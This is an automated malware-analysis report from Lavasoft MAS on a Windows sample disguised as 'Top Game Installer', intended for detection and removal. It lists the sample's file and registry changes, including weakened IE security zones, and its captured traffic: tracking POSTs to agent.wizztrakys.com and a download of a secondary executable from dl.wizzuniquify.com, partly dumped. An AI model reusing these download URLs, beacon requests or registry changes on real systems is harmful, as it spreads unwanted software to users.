Sample_6f2bf1378d
mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Malware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
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MD5: 6f2bf1378dd9762eb931d387c9d82ae2
SHA1: bbf35b8129f83ec69e2cbe781ed97a02496ad882
SHA256: 5bd9a191e6dbb1f10a8be0ef8787d5deaf73e2bcd644c6d0cf874945ca60cbf1
SSDeep: 24576:6i8OH8F37JqsB9n7KkVj9XCwGA6SWa4B:4PJh kV5CQ
Size: 823808 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2016-01-02 12:03:09
Analyzed on: WindowsXP SP3 32-bit
Summary:
Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.
Payload
No specific payload has been found.
Process activity
The Malware creates the following process(es):
dwwin.exe:1160
drwtsn32.exe:1924
%original file name%.exe:1756
uninstallmodule.exe:596
The Malware injects its code into the following process(es):
No processes have been created.
Mutexes
The following mutexes were created/opened:
No objects were found.
File activity
The process dwwin.exe:1160 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\HLW8ZUJT\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\733A0.dmp (74488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\E7C18NKY\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OTJDC59Y\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1DWWW7FS\desktop.ini (67 bytes)
The Malware deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\733A0.dmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\30b1_appcompat.txt (0 bytes)
The process drwtsn32.exe:1924 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%Documents and Settings%\All Users\Application Data\Microsoft\Dr Watson\user.dmp (63379 bytes)
%Documents and Settings%\All Users\Application Data\Microsoft\Dr Watson\drwtsn32.log (102562 bytes)
The process %original file name%.exe:1756 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\uninstallmodule.exe.tmp (117724 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_uninsep.bat (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\uninstallmodule.exe (6841 bytes)
The process uninstallmodule.exe:596 makes changes in the file system.
The Malware creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\30b1_appcompat.txt (1979 bytes)
The Malware deletes the following file(s):
Registry activity
The process dwwin.exe:1160 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E8 2D 7D 7F 59 27 3A 40 96 A9 86 50 04 D7 AF 49"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Malware deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process drwtsn32.exe:1924 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "29 53 19 18 94 1A AF 7F BD 34 B1 FE AB C2 6C 58"
[HKLM\SOFTWARE\Microsoft\DrWatson]
"NumberOfCrashes" = "1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
The process %original file name%.exe:1756 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E1 0F 2B FC E3 76 78 28 83 52 27 62 6E 19 98 77"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"_uninsep.bat" = "_uninsep"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"uninstallmodule.exe" = "uninstallmodule"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Malware deletes the following value(s) in system registry:
The Malware disables automatic startup of the application by deleting the following autorun value:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"IDSCPRODUCT"
The process uninstallmodule.exe:596 makes changes in the system registry.
The Malware creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "32 81 45 A5 55 CC 3F 10 6E 06 59 96 4F 20 5B EC"
The Malware deletes the following registry key(s):
[HKLM\SOFTWARE\Microsoft\PCHealth\ErrorReporting\DW]
The Malware deletes the following value(s) in system registry:
[HKLM\SOFTWARE\Microsoft\PCHealth\ErrorReporting\DW]
"DWFileTreeRoot"
Dropped PE files
| MD5 | File path |
|---|---|
| ea8c1b5d9f7b766e04ff296758ae02db | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\uninstallmodule.exe |
| ea8c1b5d9f7b766e04ff296758ae02db | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\uninstallmodule.exe.tmp |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
VersionInfo
Company Name: Top Game Installer
Product Name: Top Game Installer
Product Version: 1.0
Legal Copyright: Top Game Installer
Legal Trademarks:
Original Filename: Top Game Installer.exe
Internal Name: Top Game Installer
File Version: 1.0
File Description: Top Game Installer
Comments:
Language: English (United States)
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 4096 | 702060 | 702464 | 4.26697 | 7ad9425b8d1e50facb00531d536416c2 |
| .data | 708608 | 23332 | 23552 | 0.100838 | b07224b3acd84b8b6e0fc450410d300f |
| .rdata | 733184 | 62252 | 62464 | 3.8741 | 309dbdd93f7e20d17813b9619c24a4b9 |
| .bss | 798720 | 4096 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
| .edata | 802816 | 1602 | 2048 | 3.09246 | f776cbf04fb9013797817e1ec3e1e355 |
| .idata | 806912 | 6224 | 6656 | 3.55701 | 8d96631479e9195377a207719f07d8fc |
| .CRT | 815104 | 56 | 512 | 0.221488 | 94975933fb719c11f3a8757e452a06ce |
| .tls | 819200 | 32 | 512 | 0.14174 | b94bb441a067f954ca855273080a7f2c |
| .rsrc | 823296 | 856 | 1024 | 1.8821 | 1a990b6f248f4cf9ed3f54d7b877969d |
| .reloc | 827392 | 23424 | 23552 | 4.62335 | 79b8b80eed08886fb3685a3beee73b79 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
URLs
| URL | IP |
|---|---|
| hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{ | |
| hxxp://dl.wizzuniquify.com/download/1/wizzuninstallmodule.exe | |
| hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_wizzuninstallmodule_download_succeed | |
| hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_wizzuninstallmodule_execute_succeed | |
| hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_wizzuninstallmodule_download_start | |
| hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_start | |
| hxxp://agent.wizztrakys.com/csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_end | |
| www.wizzmonetize.com |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
Traffic
POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_end HTTP/1.1
Host: agent.wizztrakys.com
Accept: */*
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c
HTTP/1.1 200 OK
Date: Mon, 01 Feb 2016 15:35:16 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=cj12c3drql6dd1fbn72md4of34; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 29
Content-Type: text/html; charset=UTF-8{"message":"Track was added"}..
POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_wizzuninstallmodule_execute_succeed HTTP/1.1
Host: agent.wizztrakys.com
Accept: */*
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c
HTTP/1.1 200 OK
Date: Mon, 01 Feb 2016 15:35:16 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=6ebfgo5m52mc1i8f1btginfai1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 29
Content-Type: text/html; charset=UTF-8{"message":"Track was added"}..
POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_start HTTP/1.1
Host: agent.wizztrakys.com
Accept: */*
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c
HTTP/1.1 200 OK
Date: Mon, 01 Feb 2016 15:35:12 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=9pj0telk0geot1e0qgookut5o3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 29
Content-Type: text/html; charset=UTF-8{"message":"Track was added"}..
POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_wizzuninstallmodule_download_succeed HTTP/1.1
Host: agent.wizztrakys.com
Accept: */*
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c
HTTP/1.1 200 OK
Date: Mon, 01 Feb 2016 15:35:16 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=puamqss5sataeme8sfh85fsf90; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 29
Content-Type: text/html; charset=UTF-8{"message":"Track was added"}..
POST /csdi/wizzmonetize/buying_uninstaller_{..|...|.."_{..|...|.."_{..|...|.."_wizzuninstallmodule_download_start HTTP/1.1
Host: agent.wizztrakys.com
Accept: */*
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
user_name=csdi&api_key=e3b93cef-8bd4-11e5-8538-0cc47a47968c
HTTP/1.1 200 OK
Date: Mon, 01 Feb 2016 15:35:13 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=8ii2bcgrd4mk4u282k0o9fp0k4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 29
Content-Type: text/html; charset=UTF-8{"message":"Track was added"}..
GET /download/1/wizzuninstallmodule.exe HTTP/1.1
Host: dl.wizzuniquify.com
Accept: */*
HTTP/1.1 200 OK
Date: Mon, 01 Feb 2016 15:35:13 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
Set-Cookie: laravel_session=eyJpdiI6ImJBak03ajRMXC9UeVJnKzR3ZUNFeEZnPT0iLCJ2YWx1ZSI6IkNaeEh6VGNlcU5kOUFkdW1ibnBoRFdadEtUa3FEK3diQ2k3WDI0SDZKeEtMWXh4aXk4emJodHB2WjhlSVM5ZisrVGMwUGcwdm1uT3hETU05dVR1V0ZBPT0iLCJtYWMiOiJkNjY3NzM4NmY2N2RhMTVjMTEzN2E5NTgxMzA1NWVjZThmZjQxMDI2M2IyNmE3ZDEzYWRjNTAwZWZjYWFiNWQ2In0=; expires=Mon, 01-Feb-2016 17:35:15 GMT; Max-Age=7200; path=/; httponly
Transfer-Encoding: chunked
Content-Type: application/x-msdownloaddf600..MZ......................@......................................
.........!..L.!This program cannot be run in DOS mode....$.......PE..L
............................................ ....@....................
......P................ .........................<.................
......................0f..............................................
........D............................text.............................
..`.P`.data...d[... ...\[email protected]..
[email protected]@.bss..................................p..edata..<..
[email protected]@[email protected]..
[email protected].... ......................
[email protected][email protected].....................
......................................................................
......................................................................
......................................................................
.............................................................&......'.
......1.f.=..@.MZ..l.M.......h.M.......d.M.......t.M.....th...M..x.M..
.tJ..$.....n'....$.....2'....|[email protected].....)...=. L..tm1.....
..&......$.....$'....f...<.@[email protected][email protected]?f......j.
...........].........1.......K....v...$.:D...)..1......yt...,.........
1...........f...,...M..D$...M..D$...M..D$...M...$..M....M....M..D$..n&
.....M...,.........'....U1........WV.U.S....|...0.25..)..D$...........
@......@......@......@......@......@[email protected]<<< skipped >>>
The Malware connects to the servers at the folowing location(s):
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
dwwin.exe:1160
drwtsn32.exe:1924
%original file name%.exe:1756
uninstallmodule.exe:596 - Delete the original Malware file.
- Delete or disinfect the following files created/modified by the Malware:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\HLW8ZUJT\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\733A0.dmp (74488 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\E7C18NKY\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OTJDC59Y\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1DWWW7FS\desktop.ini (67 bytes)
%Documents and Settings%\All Users\Application Data\Microsoft\Dr Watson\user.dmp (63379 bytes)
%Documents and Settings%\All Users\Application Data\Microsoft\Dr Watson\drwtsn32.log (102562 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\uninstallmodule.exe.tmp (117724 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_uninsep.bat (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\30b1_appcompat.txt (1979 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.